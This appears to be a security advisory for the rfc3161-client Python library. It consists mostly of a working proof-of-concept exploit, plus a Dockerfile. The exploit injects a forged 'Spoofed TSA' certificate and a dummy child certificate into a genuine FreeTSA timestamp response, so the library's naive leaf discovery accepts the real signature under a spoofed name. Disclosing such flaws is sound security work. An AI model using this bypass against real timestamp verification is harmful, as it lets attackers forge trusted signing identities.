GHSA-3xxc-pwj6-jgrj

leaf_certificate_found = None for cert in certs: if not [c for c in certs if c.issuer == cert.subject]: leaf_certificate_found = cert break

FROM python:3.11-slim RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY . /app/rfc3161-client RUN pip install cryptography requests asn1crypto WORKDIR /app/rfc3161-client RUN pip install . COPY poc/poc.py /app/poc.py WORKDIR /app CMD ["python", "poc.py"]

import base64 import requests from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm from rfc3161_client.verify import VerifierBuilder from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID import datetime from asn1crypto import cms, tsp def main(): print("[*] Generating TimeStampRequest...") req_builder = TimestampRequestBuilder( data=b"hello world", hash_algorithm=HashAlgorithm.SHA256, cert_req=True ) req = req_builder.build() print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...") resp = requests.post( "https://freetsa.org/tsr", data=req.as_bytes(), headers={"Content-Type": "application/timestamp-query"} ) if resp.status_code != 200: print("[-] Failed to get TSA response. Is the network up?") return tsa_resp_bytes = resp.content print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...") private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"), ]) # We create a self-signed spoofed certificate that meets all Python verification criteria cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() - datetime.timedelta(days=1) ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=1) ).add_extension( x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]), critical=True, ).sign(private_key, hashes.SHA256()) fake_cert_der = cert.public_bytes(serialization.Encoding.DER) print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...") tinfo = tsp.TimeStampResp.load(tsa_resp_bytes) status = tinfo['status']['status'].native if status != 'granted': print(f"[-] Status not granted: {status}") return content_info = tinfo['time_stamp_token'] assert content_info['content_type'].native == 'signed_data' signed_data = content_info['content'] certs = signed_data['certificates'] from asn1crypto.x509 import Certificate fake_cert_asn1 = Certificate.load(fake_cert_der) real_leaf_asn1 = None for c in certs: c_subject = c.chosen['tbs_certificate']['subject'] issues_something = False for oc in certs: if c == oc: continue oc_issuer = oc.chosen['tbs_certificate']['issuer'] if c_subject == oc_issuer: issues_something = True break if not issues_something: real_leaf_asn1 = c break if real_leaf_asn1: print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...") real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump()) dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) dummy_cert = x509.CertificateBuilder().subject_name( x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")]) ).issuer_name( real_leaf_crypto.subject ).public_key( dummy_priv.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() - datetime.timedelta(days=1) ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=1) ).sign(dummy_priv, hashes.SHA256()) dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER)) certs.append(dummy_cert_asn1) print("[*] Injecting the malicious spoofed proxy certificate into the response bag...") certs.append(fake_cert_asn1) malicious_resp_bytes = tinfo.dump() print("[*] Downloading FreeTSA Root Certificate Trust Anchor...") root_resp = requests.get("https://freetsa.org/files/cacert.pem") root_cert = x509.load_pem_x509_certificate(root_resp.content) # We must also download TSA.crt which acts as an intermediate for FreeTSA tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt") tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content) print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...") tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes) verifier = VerifierBuilder( common_name="Spoofed TSA", roots=[root_cert], intermediates=[tsa_cert_obj], ).build() print("[*] Attempting Verification...") try: verifier.verify_message(tsa_resp_obj, b"hello world") print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n") except Exception as e: print("\n\033[91m[-] Verification failed:\033[0m", e) if __name__ == '__main__': main()